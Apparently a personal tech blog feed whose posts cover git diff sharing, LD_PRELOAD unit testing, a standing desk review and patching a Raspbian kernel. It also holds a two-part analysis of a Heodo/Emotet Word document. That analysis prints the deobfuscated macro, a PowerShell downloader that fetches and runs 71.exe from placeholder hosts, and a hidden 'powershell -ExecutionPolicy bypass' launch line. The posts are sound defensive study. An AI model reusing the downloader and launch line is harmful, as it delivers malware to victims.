When I want to share the changes I made locally, I use git diff to get a representation of these changes and pbcopy (on MacOS) to copy the diff output to the clipboard (I think we can use xsel or xclip on Linux but I am not sure):

$ git diff | pbcopy

I then go back to the GitHub page and I paste the changes inside a diff block after one or two lines of text describing the diff and giving some more context:

How about this? Adding `git` again seems too much:

```diff
diff --git a/some_file.txt b/some_file.txt
index 6b0c6cf..b37e70a 100644
--- a/some_file.txt
+++ b/some_file.txt
@@ -1 +1 @@
-this is a git diff test example
+this is a diff example
```

Et voilà.

Applying suggestions

Anyone who receives such a comment can apply the provided diff locally. My current workflow is to copy the diff to the clipboard and use the set of commands below to apply it (in reality, I use ctrl + r to search through my history as it is faster).

$ pbpaste | patch -p1

pbpaste is used to paste content as its name suggests. If you take a closer look at the previous diff example, git prefixes diff paths with a and b in the output, which is why -p1 is needed: it removes a/ and b/ so that patch finds the right files to patch.

I have been providing suggestions like this for several years now and some folks in my team started to do that as well (and even some contributors!). This workflow is a nice way to share ideas and start discussions. What do you think?

Unit testing C code with LD_PRELOAD

2020-01-07T00:00:00+00:00

One of my side projects is a tiny kernel/operating system, which I started to learn more about operating systems (OS) and kernel development in general. The codebase is fairly small (around 4K lines of code at the time of writing) but I started to face a few bugs that I could have likely avoided with unit testing.

Writing a kernel often implies creating a lot of things from scratch, even the most basic “tools”. For example, some sort of small C library is required early in the process. Yet, it is hard to port an existing libc when there is nothing else. Such a C library does not have tons of functions but everything else likely depends on them. Therefore, it is crucial to write them correctly and unit testing can help.

In my project, I chose to have a unified C library for both my kernel code (which uses a library sometimes called libk) and userland code (which uses a libc). Because my C library provides the same API as other libc (e.g., the one from my main system), I could not directly import my functions in my test code. I thought about this problem and came up with three options:

Introduce a PREFIX() macro to alias my functions and import these aliased functions in the test code. This is needed because “global function” names should be unique in C. This option would improve isolation but it would make the kernel code harder to read.
Use my C library to write test programs. This option would make debugging harder because my library could introduce bugs in the test code. I would prefer not to rely on my incomplete libc too much.
Override the function under test (FUT) when running the test program. It is a combination of (1) and (2) and this guarantees that only the FUT is tested.

This idea of monkey-patching code did ring a bell: the LD_PRELOAD environment variable! In order to understand how this works, let’s remember that programs can be either statically or dynamically linked. The former creates programs that contain a “copy” of the functions borrowed from external libraries while the latter binds such functions upon program execution.

LD_PRELOAD can be used to load a shared library before other libraries, offering us the ability to change the behaviors of the functions used by a program 🔥

Example

Let’s take an example with an enhanced version of a “Hello, World” written in C:

// hello.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
  const char* hello = "hello!";
  char* name = malloc(7 * sizeof(char));
  strcpy(name, hello);

  printf("%s\n", name);

  free(name);

  return 0;
}

The example above uses strcpy() to copy a string that will be printed to the standard output as shown below (I used gcc -o hello hello.c to compile this program):

$ ./hello
hello!

As mentioned previously, we could leverage LD_PRELOAD to override the behavior of the strcpy() function. In order to do this, we need to create a new file (evil.c) with the following content:

// evil.c
char* strcpy(char* dest, const char* src) {
  const char* evil = "oooops";

  while (*evil) {
    *dest++ = *evil++;
  }
  *dest = '\0';

  return dest;
}

Instead of using the content from the second argument, this function copies its own string 😈 LD_PRELOAD needs a shared library so we have to compile this file with gcc -fPIC -shared -o evil.so evil.c. PIC stands for Position Independent Code, which means that the generated code is not dependent on being located at a specific address in order to work. The -shared option instructs the linker to create a shared object (.so), which is our final library. Let’s try it now:

$ LD_PRELOAD=./evil.so ./hello
oooops

Heh, what happened?

This worked because the hello program did not embed strcpy(). We can verify it with objdump (with the -t flag to print the symbol table entries of the file):

$ objdump -t hello

hello:     file format elf64-x86-64

SYMBOL TABLE:
...
0000000000000000       F *UND*	0000000000000000              strcpy@@GLIBC_2.2.5
...
000000000000071a g     F .text	0000000000000053              main
...

Although it is technically not correct, let’s pretend that a function and a symbol are the same. The partial output above shows the table entry for the strcpy function. The first column represents its address and 0000000000000000 (as well as *UND*) means the function is not defined in this binary file. This table also lists our main function, which can be found at address 000000000000071a (i.e. somewhere inside the binary file).

Now, let’s explore our shared library with the same command:

$ objdump -t evil.so

evil.so:     file format elf64-x86-64

SYMBOL TABLE:
...
000000000000057a g     F .text	000000000000004e strcpy
...

Our library provides a strcpy function at address 000000000000004e. When we run the hello program, the operating system binds the symbols to their actual definitions located in shared libraries. The ldd tool can tell us which shared libraries are used when we want to execute our program:

$ ldd ./hello
    linux-vdso.so.1 (0x00007fff775c3000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd4ae478000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fd4aea6b000)

We used LD_PRELOAD to tell the operating system (and its dynamic linker) to use our shared library (almost) first, which is why our program ended up calling our version of strcpy:

$ LD_PRELOAD=./evil.so ldd ./hello
    linux-vdso.so.1 (0x00007fffa0759000)
    ./evil.so (0x00007ff46f155000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff46ed64000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ff46f559000)

That’s what happened!

Compilers are (too) smart.

I used a similar approach to write tests for my little kernel (patch) but it did not always work well. For example, I could not test the strlen() function because the compiler optimized my code in a way that there was no need to link to the strlen() function anymore. In other words, the symbol table did not contain any reference to strlen.

We can update our hello.c file to reproduce the problem. For example, let’s add a strlen() call to output the number 4:

diff --git a/hello.c b/hello.c
index a9744a9..f2b139d 100644
--- a/hello.c
+++ b/hello.c
@@ -7,7 +7,7 @@ int main() {
   char* name = malloc(7 * sizeof(char));
   strcpy(name, hello);

-  printf("%s\n", name);
+  printf("%s %ld\n", name, strlen("four"));

   free(name);

As expected, inspecting the symbol table of the recompiled hello program will lead to no reference to the strlen() function, which is why I did not provide any output here. Instead, we can confirm that the compiler optimized our code by disassembling the program with objdump -d:

$ objdump -d -Mintel hello

hello:     file format elf64-x86-64

...
 749:	e8 82 fe ff ff       	call   5d0 <strcpy@plt>
 74e:	48 8b 45 f8          	mov    rax,QWORD PTR [rbp-0x8]
 752:	ba 04 00 00 00       	mov    edx,0x4
 757:	48 89 c6             	mov    rsi,rax
 75a:	48 8d 3d aa 00 00 00 	lea    rdi,[rip+0xaa]        # 80b <_IO_stdin_used+0xb>
 761:	b8 00 00 00 00       	mov    eax,0x0
 766:	e8 75 fe ff ff       	call   5e0 <printf@plt>
...

Without knowing assembler, we can notice that there is no call to strlen. Instead the value 4 (0x4) is moved to a register before calling printf. The compiler optimized our code!

Conclusion

I leveraged the LD_PRELOAD environment variable to inject a function under test in a test program. The test program is linked against whatever libc is installed on the system and only the FUT is replaced. That way, the test code can be trusted and we can compare the behavior of the FUT with the equivalent function in the system’s libc.

While it is an efficient method to write simple unit tests, it still requires some extra checks to make sure we are not testing the numerous compiler optimizations that would completely skip the FUT.

With these libc functions implemented and tested, I can now build new features on top of them with confidence and write “traditional” unit tests for these modules.

SIGCONT

2019-12-20T00:00:00+00:00

I have never been really good at blogging consistently. The truth is: it’s hard, for multiple reasons. I used to write without fear when I was younger, so what happened?

Over the last five years, I learnt a lot about various topics and the more I was learning, the more I was scared of actually not knowing anything. And this weird feeling became much stronger after I had a life incident 3.5 years ago. All of this evolved into a form of anxiety disorder, which I tried to fight by myself for 3 years. My last round-trip to an emergency service for nothing convinced me to go to “see someone”. My self-esteem has been decreasing over time and this thing did not help.

The only “benefit” at being like that is that I never stop pushing my own limits. The main drawbacks are that I am rarely proud of myself, never satisfied and I hardly believe people’s kind words. Such feelings do not mean that I am unhappy or sad or even depressed. It rather means: I cannot even think about the Impostor syndrome because I would fail to qualify as an impostor… That is a bit annoying but it is not the end of the world.

For example, according to my manager and the outcome of the projects I have worked on this year, I perform very well at my current company. Self-esteem does not prevent one to get things done, take initiatives or create amazing things. Yet, having little self-esteem forced me to put “according to” in the previous sentence. And that is actually the problem.

When I want to blog, I usually stop because (1) I do not have anything interesting to write, (2) I do not know enough or (3) no one cares about my thoughts. When I was younger, I was probably too bold to think about all of this but sharing my (sometimes imprecise) knowledge was still immensely positive. That is why, as of now, I will try to write again.

I like Julia Evans’ blog and the way she writes. It is “more of a live-blogged exploration of a topic than an explanation of the topic” to quote someone else describing her style. I would like to write shorter articles more often. I would like to write about how I work and also about all the (technical) topics I am interested in. This plan should likely address my concerns (1) and (2). As for (3), I have been reading so many different blogs about all kinds of things that my upcoming articles will eventually be useful to someone else, I believe.

Let’s send a SIGCONT to this blog!

Malware analysis writeup: Heodo (2/2)

2019-05-27T00:00:00+00:00

This is Part 2 of a malware analysis I did last week. This time, it was not an exercise!

In Part 1, I described how I extracted a PowerShell script executed by a VBA macro hidden in a Word document. At the end, I was able to download the program that was supposed to be downloaded by the PowerShell script. In the sequel, I am going to describe the analysis of this program named 71.exe.

First look

I uploaded the program to VirusTotal again and found out that it was already known. Looking at the report, it did not look like the executable was packed, but entropy was still quite high. This happens when a program embeds some content, like other DLLs, executables, etc.

The first thing that struck me was the use of the following functions:

CADeleteCA
CAEnumFirstCA
CAEnumNextCA
CACloseCA
CACloseCertType

I thought that this malware was maybe installing/replacing a rogue certificate somehow. From VirusTotal, that’s all I could gather so I decided to boot a Windows 7 VM and started a static analysis.

Post-mortem: once again, I neglected the VirusTotal report. I did not pay enough attention to the antivirus reports, which led to extra work to find what this program was all about. In addition to that, my lack of experience made me think about a small-ish malware and I never thought that it could be a very complex and well-known malware.

Static analysis

I started by running strings on the 71.exe file. I found some function names and a lot of garbage but nothing really obvious. Using PeID, I could not find evidences of a packer, same with DIE.

I used PeView to look more into the different sections and did not spot any big problem (again, based on my knowledge). Virtual and raw sizes looked similar and section names were not weird. I concluded that the program was likely decoding its instructions at runtime.

	virtual size	size of raw data
.text	4280 (0x10b8)	4608 (0x1200)
.data	70580 (0x113b4)	70656 (0x11400)

Post-mortem: I might have missed something though, but at the time, that’s all I could gather.

Given that I was stuck and could not find more useful information about this executable, I decided to switch to dynamic analysis 👻

Dynamic analysis

Dynamic analysis is any examination performed after executing malware.
– In Practical Malware Analysis, Chapter 3

In a Windows 7 32-bit VM, I started a few tools and then executed the malicious program in order to analyze its behavior 💣 After a few seconds, the program disappeared as shown in Figure 1. I already saw this behavior during a previous analysis, so I made a copy of the program before running it.

Figure 1: the program disappears shortly after being executed

Procmon

Further investigation using Procmon revealed that it renamed itself to C:\Windows\System32\hotspotsel.exe (cf. Figure 2). Given that this path was not present in the strings output, I had the confirmation that the program was decrypting its instructions at runtime and only loaded information in memory when needed. This seems to be a common protection against malware analysts. That was quite unexpected given that its Downloader (cf. Part 1) was pretty easy to reverse.

Figure 2: SetRenameInformationFile call captured by Procmon

Regshot

I continued my analysis by reviewing the diff of the Windows registry created with Regshot as depicted in Figure 3 (Right-click > “View image” to display the image in full size).

Figure 3: A diff of the registry created with Regshot

I discovered two interesting facts about the program:

it creates a service called hotspotsel.exe that is supposed to “copy user certificates and root certificates from smart cards […]”. The service is persistent and survives reboots based on the sc query output shown in Figure 4.

Figure 4: The output of service control
it turns on a feature called WPAD. Googling this term revealed that this Windows feature was a known vulnerability.

With the second fact combined to the references to the CA* functions, I really thought that this program was trying to get access to secure exchanges (HTTPS) but I was only guessing.

Process Explorer

Looking at Process Explorer, I could confirm that the service was running and I discovered that it was started with a command line argument. I supposed that the presence of the argument started the program in a “service” mode instead of trying to install itself as a service (like when I executed the program manually).

The printable strings retrieved from the running service memory were not super helpful unfortunately. I could find the service name (hostspotsel) as well as the fully qualified path to the executable and the name of the computer followed by 6 characters, but nothing else.

Last thing I discovered was a bunch of network calls with what seemed random IP addresses and different ports such as: 80, 8080, 443, 465, 22, etc. The Windows VM was fully isolated during this analysis phase, so all requests failed and I could not gather new information. It was time to perform a network analysis.

Network analysis

Network analysis is still dynamic analysis but focused on network activities.

In order to do that, I recreated a new lab containing a Windows 7 VM as well as a REMnux (Linux) VM, both in the same VirtualBox “internal network”. I configured the Linux VM so that it catches all TCP/IP packets, no matter the destination IPs. In the Windows VM, I set the gateway IP to the Linux IP. I had noted some destination ports before so I started a bunch of netcat on different ports in the Linux VM as well.

I executed the 71.exe program in the Windows 7 VM again. In Process Explorer, I saw that some network calls were ESTABLISHED, which meant that the malware was able to connect to its servers. That’s what the malware thought though, because it actually connected to the Linux VM, which received a bunch of HTTP POST requests in the different netcat I had started before. There is an example in Figure 5.

Figure 5: A POST HTTP request captured by netcat listening on port 8080

For each request, the HTTP body was base64-URL-encoded. I tried to decode some of these bodies but none was readable. The content was probably encrypted first and then encoded with base64.

Hello, Heodo

I noted the IP addresses and ports printed in the different netcat outputs, and I used Google again to get more information. I found that one IP address was referenced as a C2 server of a famous botnet called… Heodo. I put a name on this malware, finally!

I then gathered more information about Heodo:

it is a variant of Emotet. I did not expect to analyse one of the most prevalent malware as a first!
This malware is often distributed via emails using an attachment (like a Word document) that contains a malicious PowerShell script to download and install it.
Once the malware is installed, it tries to reach a C2 server from a list. That’s exactly what I noticed during my network analysis, cool.
Exchanges are encrypted with RSA. That is probably why I could not read anything after having decoded the base64-URL-encoded HTTP bodies.
When the malware tries to phone home for the first time, it collects and sends data to the C2 server, which might respond differently depending on what is sent. For example, it sends the computer name followed by some information about the CPU and the list of running processes. If this list contains a malware analysis tool, it will not send a new program but either nothing or itself.

Even though most of my findings matched the characteristics of Heodo/Emotet, I was not 100% sure that the program I was analyzing was Heodo/Emotet. C2 servers might be compromised by more than one bad actor, so we cannot only infer the malware based on the IPs it interacts with (I think).

Debugger

I decided to attach the Ollydbg debugger to the running service (hotspotsel.exe) to see if I could learn something new. I only used this debugger twice before and during guided exercises so I did not really know what I was doing -__-

I decided to pause the execution when a connection was established (this can be seen in Process Explorer). I tried to find ASCII strings and eventually found an IP address. This IP address also appeared in one of the netcat outputs on the Linux VM. I told the debugger to find the IP address in the memory dump and manually reviewed what was there before and after this point. I found a long list of process names, including OLLYDBG.EXE and VBoxTray.exe as depicted in Figure 6. This is the list of all the running processes in the Windows VM!

Figure 6: The Ollydbg window with a list of processes (in the blue rectangle)

I was also able to find a few more IP addresses in the memory dump and the computer name again, followed by the same characters I read in Process Explorer before (in the “printable strings”).

These findings validated the 5th item in the previous section: Heodo/Emotet malware send the list of running processes to their C2 servers. That way, C2 servers can detect malware analysts. The program will likely keep sending this list until the C2 server tells it to do something else.

At this point, I was confident and decided to stop my analysis here. I reached my goal: I discovered which malware was installed by the Word document received by my friend.

What’s next?

I found a great deep analysis of an Emotet variant as well as some interesting tools when I was writing this article. It seems possible to patch the malware at runtime to hopefully retrieve other malicious programs. This requires to connect the Windows VM to the Internet, though. In the future, I’d like to perform a similar analysis.

I would also like to see if I can fully reverse the 71.exe program to retrieve the RSA keys, C2 IP addresses and so on (if possible). Reverse engineering is not my best strength though.

Recap’

I analyzed a malware with various techniques.
I discovered that this malware was a well-known malware named Heodo.

IoCs:

Filename	MD5 checksum
`71.exe`	`457bfd478d79230b99bce5c2055ed62d`

Malware analysis writeup: Heodo (1/2)

2019-05-24T00:00:00+00:00

This is Part 1 of a malware analysis I did this week. This time, it was not an exercise!

I started digging into “malware analysis” some time ago, mostly because I did not know anything about malware (except that they were not nice). I still do not know a lot about this topic, but I learned a few things already. In the sequel, I am going to describe why and how I analyzed the first part of this malware.

Preamble

Earlier this week, one of my friends received an email from his child’s school. It was a reply to an email he sent a couple of months ago, about his child being sick back then. Although the content of the email seemed legit, a file named ANHANG-16231-21845251.doc was attached to it, which alerted my friend. He called the school and got confirmation that no one sent such an email.

My friend asked me what I thought about this story. Double-checking the email headers, it was trivial to confirm that the school employee was impersonated. Given that the reply matched his email, the emails of this person were likely dumped a while ago and the bad folks started to make “good” use of them. Before leaving him, I asked my friend to forward me the .doc file.

Word document and VBA macro

I uploaded this file on VirusTotal but I did not get a lot of information, so I started a VM with a set of tools to perform static analysis of this document file.

Post-mortem: the VirusTotal report was more interesting than I thought: it mentioned that this file was likely a “Downloader”. Knowing this beforehand could have helped me during the analysis process.

I am not an expert, but I know that Microsoft documents can embed and run macros, specifically VBA macros. I also know that these macros have access to a lot of APIs and can run commands. The only set of tools I am aware of to deal with such formats/files is oletools.

I knew that this file was likely hiding VBA macros, but my experience solving some so-called “hacking challenges” taught me to not overlook the information gathering phase. I analyzed the file with oleid, which confirmed my intuition and also indicated that the file was not encrypted:

oleid 0.54 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: ./ANHANG-16231-21845251.doc
 Indicator                      Value
 OLE format                     True
 Has SummaryInformation stream  True
 Application name               Microsoft Office Word
 Encrypted                      False
 Word Document                  True
 VBA Macros                     True
 Excel Workbook                 False
 PowerPoint Presentation        False
 Visio Drawing                  False
 ObjectPool                     True
 Flash objects                  0

The second tool I used was olevba. It has been used to extract the VBA macros from the .doc file. The output I received looked obfuscated (the snippet below has been truncated):

olevba 0.54.1 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: ./ANHANG-16231-21845251.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Swlfot9.cls
in file: ./ANHANG-16231-21845251.doc - OLE stream: u'Macros/VBA/Swlfot9'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO zC7wlka.vba
in file: ./ANHANG-16231-21845251.doc - OLE stream: u'Macros/VBA/zC7wlka'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub K9hj1nG()
   Debug.Print "724" + ("516") + ("UPOp3Hrt" + ("23" + "361") + "vC9PPmCK" + ("rjITKvEv"))
Debug.Print "20" + ("994") + ("u_8YY68" + ("791" + "454") + "rbk4PQH" + ("iqapjj9"))
Debug.Print "942" + ("653") + ("pqQI0T2" + ("226" + "126") + "N7OT4k" + ("Z6j2ENjS"))
   Debug.Print "387" + ("127") + ("wjf7biL" + ("20" + "64") + "nE0OG8" + ("GNXHVKT"))
Debug.Print "255" + ("590") + ("kPaztnd9" + ("626" + "534") + "nc7FkKV" + ("itIImYJ"))
Debug.Print "763" + ("124") + ("lLo5VRP" + ("611" + "629") + "tJnnqa" + ("EPdjCjRp"))
End Sub
Sub _
autoopen( _
)

[...]

I took a look at the olevba documentation and learned about the --reveal experimental feature. In this case, it worked well and this feature cleaned the code a bit. It was still obfuscated, but less weird (output below truncated):

Attribute VB_Name = "zC7wlka"
Sub K9hj1nG()
   Debug.Print "724516UPOp3Hrt23361vC9PPmCKrjITKvEv"
Debug.Print "20994u_8YY68791454rbk4PQHiqapjj9"
Debug.Print "942653pqQI0T2226126N7OT4kZ6j2ENjS"
   Debug.Print "387127wjf7biL2064nE0OG8GNXHVKT"
Debug.Print "255590kPaztnd9626534nc7FkKVitIImYJ"
Debug.Print "763124lLo5VRP611629tJnnqaEPdjCjRp"
End Sub
Sub autoopen( )
   Debug.Print "588496Bn5Mps680785i9QMw62Vw29iIrvf"
Debug.Print "984870ZavHKq723615HYijaGWMHILLpV"
Debug.Print "58974piKRd2450645jwOkskOoIvNiL"
lc8cJsPt
   Debug.Print "860836EYdLCWj544391w0whi5Mmcto3"
Debug.Print "12319b1Pp9wzc397829Xozjntl2HkNCop"
Debug.Print "826309uz3s8R5980Z6jEJwMSGtCq"
End Sub

[...]

I went ahead and manually cleaned the code even more, but I had two references to a OLE “thing” named Swlfot9 that I could decode. I knew it had something to do with PowerShell given the "powe" string but I could not find anything else…

Attribute VB_Name = "zC7wlka"

Sub autoopen()
	lc8cJsPt
End Sub

Sub lc8cJsPt()
	Set Win32ProcessstartupObj = GetObject("winmgmts:Win32_ProcessStartup")
	Win32ProcessstartupObj.ShowWindow = 0

	Set Win32ProcessObj = GetObject("winmgmts:Win32_Process")
    Win32ProcessObj.Create "powe" + Swlfot9.FbFMIBR + Swlfot9.bLJAPOF,
	Null,
	Win32ProcessstartupObj,
	ProcessId
End Sub

I saw the name Swlfot9 in the very first olevba output, though, so I knew that something was still there, but I could just not see it. I tried some other oletools but it was a dead-end…

A PowerShell payload

Not really knowing what to do next, I decided to give the strings command a try and found a very large string that looked like a bas64-encoded string. I piped this string to base64 -d and got some PowerShell instructions in return. Yay!

$XvmIXvo='t6jTbM';$PbDL43 = '71';$uj6EVuv='L8KMkkX'; [...]

Given that I was stuck with the VBA macro, I decided to clean the PowerShell payload to better understand it. There were unused variables and weird PowerShell-allowed calls. Below is the PowerShell script rewritten to be more readable:

# `$env:userprofile` returns the full path of the profile directory.
$pathToExe = $env:userprofile+'\71.exe';

$webClient = New-Object Net.WebClient;

# List of URLs pointing to a program to download
$urls = [
    http://some.example.com/folder-123/,
    http://another.example.com/folder-456/,
]

foreach ($url in $urls) {
    try {
        # Try to download a program...
        $webClient.DownloadFile($url, $pathToExe);

        # if it worked, then...
        If ((Get-Item $pathToExe).length -ge 24103) {
            # run it!
            Invoke-Item $pathToExe;
            break;
        }

        # otherwise, keep trying.
    } catch {
    }
}

This PowerShell script is a Downloader: its job is to download, save and execute a malicious program (named 71.exe here). I still did not know how this script was executed by the macro though, so let’s find out!

OLE dump

I searched for a tool able to dump an OLE stream from a .doc file and discovered oledump.py. Analyzing the different sections, I found interesting data that I dumped as ASCII:

rshell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e ,

This string corresponded to Swlfot9.FbFMIBR. Therefore the other reference was the payload reversed in the previous section. Below is the full line of code used to run the PowerShell script (which is represented by "PAYLOAD"):

Win32ProcessObj.Create "powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e" + "PAYLOAD"

Job done!

The `71.exe` program

In order to understand what kind of program was downloaded by the malicious .doc file, I used a third party service to download the program from one of the URLs in the list (in the PowerShell script) and this service then sent the program to me:

$ file 71.exe
71.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

That’s a Windows Portable Executable program. I also analyzed this file and Part 2 will describe my findings.

Recap’

I statically analyzed a Word document that contained a VBA macro and a PowerShell script.
The VBA macro runs the PowerShell script on behalf of the user who opens the .doc file.
The PowerShell script downloads and executes a malicious program.
This malicious program is a Windows PE EXE file.

IoCs:

Filename	MD5 checksum
`ANHANG-16231-21845251.doc`	`70c0c42d90fd499b1d3f77b6f5a0bd3b`

Reviewing the FlexiSpot Desktop Workstation 27 inches

2017-03-13T00:00:00+00:00

Disclaimer: Loctek Inc. contacted me spontaneously and offered me the product I am going to write about for review purposes. I agreed to do the review and asked about return shipping, only to be told that they offered me the product. I received a free workstation in return for a review. I asked whether I could write anything about it in this review and that was OK. This review is my very own review and Loctek Inc. did not check it before (or after) publication.

Standing desks. I have been interested in standing desks for several years now. In case you don’t know, a standing desk is a desk conceived for writing, reading, or working, while standing up or while sitting on a high stool. The impact of such desks on our health has been quantified, and several reports have come out pointing out the dangers of sitting too long (e.g. risk of obesity, diabetes, heart disease, a variety of cancers, and an early death). According to most people using standing desks, they even make you more productive, but I did not find any formal report confirming that yet. My own experience of 2 years standing almost all the time did not give me significant results regarding my productivity. Nonetheless, it is clear that I have been more focused and I have been feeling better than ever by working in a standing position.

After having given standing desk a try with cardboard boxes, then with a DIY standing desk I built (the one I used for two years), I have been given the opportunity to try the FlexiSpot Desktop Workstation 27”. In the rest of the article, the terms “workstation”, “FlexiSpot” and “standing-desk” all refer to this product.

What is this FlexiSpot thing?

The FlexiSpot Desktop Workstation 27 inches is a desktop sit/stand workstation, meaning that it rests on top of an existing desk and provides adjustable elevation for monitors and keyboard/mouse. You use it in its lowest position while seated and then raise it up to a comfortable working height when you’re standing.

It is smaller than a full standing desk, but also less expensive. It uses gas springs to change the height of the work surface (that is, the main surface). The FlexiSpot also has a removable keyboard tray, under the work surface.

Illustration by Loctek describing the FlexiSpot Desktop Workstation

Loctek, the company behind this workstation, also sells larger workstations such as 35”, 41” and 47” versions (depending on your country). In Germany, there are only two sizes: 27” and 35”. The 27” workstation costs 280 euros (at the time of writing) and you can buy it on Amazon. That is what I did, and I chose the 27” because I didn’t need a large work surface.

Assembling the workstation

I chose the version M1B of this FlexiSpot workstation. I guess 1 stands for 27” and B stands for black (there is also a white version). I was happy to get the package delivered by DHL directly to my flat because it was pretty heavy:

The product was securely packed with Styrofoam:

The package contained the pre-assembled work surface and lifting mechanism, the keyboard tray and its two support arms, and an instruction manual:

At first glance, the work surface looks pretty heavy and robust. In my opinion, its finish is flawless, and after several weeks of use, I can confirm that it is good. Below is a picture of this work surface (without the keyboard tray) on top of a good old LACK Ikea table:

As mentioned in the introduction, this workstation uses gas springs to counterbalance the weight of the work surface and all the things placed upon it. On each side, you have one gas spring along with a lever:

To change the height of the work surface and therefore change your position (from sitting to standing for instance), you have to pull both levers at the same time, choose the height that you like, and release both levers. The gas springs are very smooth. I was a bit skeptical at first because I thought it could throw all my devices placed on the work surface, but there was no problem.

Left side of the workstation: gas sprint and lever

So far, I only presented the main part of the workstation, but there is also a keyboard tray that I had to assemble myself. It took me 10 minutes to screw the support arms to the keyboard tray, and then add it to the main part of the FlexiSpot:

The keyboard tray has to be mounted under the work surface, secured with four bolts (2 on each side):

It took me less than 30 minutes to unpack the product and assemble it (finding a screwdriver took most of the time 😅). I had to “commandeer” the kitchen table for the review because we moved to Germany quite recently and we did not have an office desk.

Using the workstation

Below is a picture of the standing desk in a low position, with an Apple keyboard, a magic mouse, a 13” Apple MacBook Pro and a 22” Samsung monitor. There is still plenty of space on the work surface:

It is important to have enough space to fell comfortable while working in a standing position, and this workstation makes it easy. If you have a rather large keyboard, do not worry. There is also a lot of space on the keyboard tray:

Thanks to the gas springs and levers, you can adjust the height of the workstation without any effort. Yet, what matters the most is to focus on the height of the keyboard tray. If you take a look at all the recommendations to use a standing desk, you should set the keyboard tray at or slightly below your elbows height:

My (right) elbow and the keyboard tray are at the same height

In my case, I had to put a book below the external monitor. This good old monitor is quite old, and it does not have an adjustable stand. Loctek also sells a dual monitor mount that is compatible with this workstation by the way. This could be an interesting add-on because it would let you adjust the height of the screen(s) when you are in a sitting position too. When I am working in a sitting position, the keyboard is at the right height but the monitor is a bit too high, because I am not tall… Removing the book fixes this problem for me.

Now, you may wonder what this weird slot on the work surface is. Its purpose is to hold a tablet like an Apple iPad mini in the picture below. With my iPad mini, an significant portion of the screen is hidden in the slot, though. I don’t use this slot and I would have preferred a plain surface instead.

So far, the painted finish has held up perfectly. It is not glossy, it is not matte either, it is somewhere in between and I like it! One nice thing is that it does not highlight fingerprints or dust. The overall quality of the product is good, especially for this price (less than 300 euros). I find the plastics quite cheap though. When I moved the standing desk the first time, I slightly twisted one plastic part. There is no real damage and it is not broken but it is now slightly deformed 🤷

I am still investigating a minor problem with my workstation: while typing on the keyboard, I sometimes hear a sort of vibration sound that I am not able to locate. It isn’t “noisy” but I can hear it from time to time. Loctek didn’t know about this problem, though. I guess it’s only me then.

Conclusion

I have used this FlexiSpot product for more than a month now, not every single day but quite a lot to know what I like and what I don’t really like. The feature I found myself using a lot is switching from sitting to standing and back again. This is indeed one of the main advantages of such a product!

Me, switching position by holding the two levers

Personally, I don’t think this workstation is ugly when put on top of a desk but you may not like it. Also, you cannot put too much weight on the work surface (~15kg for the 27”). If I had to choose between a full standing desk and such a product, I wouldn’t know what to choose. I like the fact that half the surface of my desk is still available at a regular height (without having to change anything). Having a full standing desk could be nice too, though.

To conclude, the FlexiSpot Desktop Workstation 27 inches is great, especially if you are interested in trying to work in a standing position first and you don’t want to (or cannot) afford a full standing desk. The quality of this product is good (quite heavy and it seems very robust). I would recommend this product for those who want to give standing desks a try.

PhD: ✔️

2016-05-16T00:00:00+00:00

The more I learn, the more I realize how much I don’t know.

Albert Einstein

Three years ago, I started a PhD. I am happy to let the Internets™ know that I successfully defended it two weeks ago! I can now officially call myself a doctor (LOL).

In case you’re interested or simply curious, you can download the manuscript here: Automated Test Generation for production systems with a Model-based Testing approach. The slides I used for my defense are below:

Patching the Linux kernel (Raspbian & CVE-2016-0728)

2016-01-21T00:00:00+00:00

CVE-2016-0728 has been disclosed earlier this week and it is a serious security issue. The vulnerability affects most of the Linux kernel versions (3.8 and above). Although the exploit seems tricky to successfully use, it is still a flaw that has to be patched ASAP.

I use a few Raspberry Pis for a while now and they all run Raspbian, a Debian-based distribution for Raspberry Pi. I tried to apt-get update && apt-get (dist-)upgrade one of them but nothing new was available, i.e. no patched version available.

At the time of writing, there was only this single unanswered issue on the Raspberry Pi kernel GitHub repository. I looked into the Kernel source code and the code seemed vulnerable to me (according to the patch and what I understood from the report).

I wanted to run a patched kernel version therefore I decided to compile the Linux kernel. You will find the different steps I followed to build, install and run a patched Linux kernel below:

First, the bc package is needed (apt-get install bc), then the kernel sources have to be cloned:
```
$ git clone --depth=1 https://github.com/raspberrypi/linux
```
Longest git checkout ever!
In order to compile a new kernel version, we have to slighty update its name. I edited the EXTRAVERSION variable in the Makefile:
```
$ head Makefile -n 4

VERSION = 4
PATCHLEVEL = 1
SUBLEVEL = 15
EXTRAVERSION = +will
```

Now let’s fetch the patch for this vulnerability, and apply it:

$ curl https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/patch/?id=23567fd052a9abb6d67fe8e7a9ccdd9800a540f2 | patch -p1

So far so good. Before compiling the kernel, we have to instruct which kernel we wish to build, then we can build the related configuration:
```
$ export KERNEL=kernel7
$ make bcm2709_defconfig
```
Time to compile the kernel and its modules:
```
$ make -j4 zImage modules dtbs
```

I started to write this blog post while it was still compiling… At some point, compilation successfully ended. Let’s install this brand new kernel:

$ sudo make modules_install
$ sudo cp arch/arm/boot/dts/*.dtb /boot/
$ sudo cp arch/arm/boot/dts/overlays/*.dtb* /boot/overlays/
$ sudo cp arch/arm/boot/dts/overlays/README /boot/overlays/
$ sudo scripts/mkknlimg arch/arm/boot/zImage /boot/$KERNEL.img

And now, time to try it for real (fingers crossed):

$ uname -a
Linux raspberrypi 4.1.15-v7+ #831 SMP Tue Jan 19 18:39:46 GMT 2016 armv7l GNU/Linux

$ sudo reboot

$ uname -a
